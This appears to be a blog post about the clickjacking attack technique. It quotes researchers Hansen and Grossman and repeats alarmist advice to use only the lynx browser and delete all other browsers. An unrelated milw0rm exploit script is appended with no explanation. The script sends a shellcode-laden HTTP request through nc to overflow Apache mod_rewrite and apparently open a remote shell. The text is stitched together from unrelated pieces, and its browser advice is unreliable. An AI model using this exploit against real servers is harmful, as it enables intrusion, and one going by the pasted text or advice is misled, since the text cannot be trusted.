Clickjacking is a major threat to the Internet
Security experts are warning all Internet users about a new zeroday hacking technique called Click Jacking that is new and a major threat to the Internet.
“In a nutshell, it’s when you visit a malicious website and the attacker is able to take control of the links that your browser visits. The problem affects all of the different browsers except something like lynx. The issue has nothing to do with JavaScript so turning JavaScript off in your browser will not help you.”
Experts warn that the solution is to switch to the lynx browser, and to cease all other forms of web surfing until further notice.
 |
“Clickjacking gives an attacker the ability to trick a user into clicking on something only barely or momentarily noticeable … Therefore, if a user clicks on a web page, they may actually be clicking on content from another page.” |
| Clickjacking Whitehat |
Two researchers, Robert Hansen and Jeremiah Grossman, planned at AppSec to discuss the threat of using Web graphics to persuade a victim to click where an attacker wants on a page. The technique, which is also known as well as user-interface (UI) redressing and IFRAME overlay, can be used by an attacker to hide a button or link on a legitimate page, such as a bank’s account page or Web mail application, using other Web content to mask the page’s context.
A Web user might think, for example, that they are clicking on a button to close a dialog box, when the button press in reality deletes all their e-mail messages in Gmail. Or, a user might believe they are clicking on a button to decline to take a survey, when they are actually transferring money from their bank. The technique could be used to raise an article’s Digg score or get paid for a pay-for-click advertisement, said Grossman, the chief technology officer for Web security firm White Hat Security.
Hansen and Grossman canceled their presentation after demonstrating to software maker Adobe that one of its products could be affected by the attack.
Clickjacking isn’t a new attack vector, but according to Grossman and Hansen, it’s one that is “severely underappreciated and largely undefended.”
Grossman states that this particular attack is capable of some “pretty spooky,” things, but that’s all the detail he is going to give.
Until further notice, XSS WORM advises that users switch to the LYNX browser and delete all other browsers from their desktops and personal internet devices.
“Cross-Site Scripting is much more powerful when used in a Web 2.0 environment”
“AJAX is the weapon of choice for sex appeal.”
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0×0834ae77 for any other version/system find it.
#
# Gulcas rulez 
echo -e “mod_rewrite apache off-by-one overflow”
echo “by jack <jack\x40gulcas\x2eorg>\n\n”
if [ $# -ne 1 ] ; then
echo “Usage: $0 webserver”
exit
fi
host=$1
echo -ne “GET /kung/ldap://localhost/`perl -e ‘print “%90″x128′`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n” | nc $host 80
# milw0rm.com [2006-08-21]
